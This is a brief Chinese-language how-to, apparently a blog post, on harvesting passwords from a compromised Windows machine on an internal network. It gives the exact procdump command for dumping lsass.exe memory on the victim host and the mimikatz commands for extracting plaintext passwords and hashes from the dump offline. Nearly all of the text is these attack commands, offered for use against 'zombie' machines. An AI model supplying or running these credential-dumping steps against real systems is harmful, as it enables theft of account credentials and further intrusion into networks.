内网密码信息收集之procdump

1、procdump

上传procdump.exe从lsass.exe获取密码文件，在 lsass.exe 里并不是只存有 lm hash 和 ntlm hash 而已应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)

2、dump密码文件的命令

在肉鸡上执行procdump64.exe -accepteula -ma lsass.exe lsass.dmp 注意64位32位

3、下载密码文件到本地密码文件结合mimikatz解密获取密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit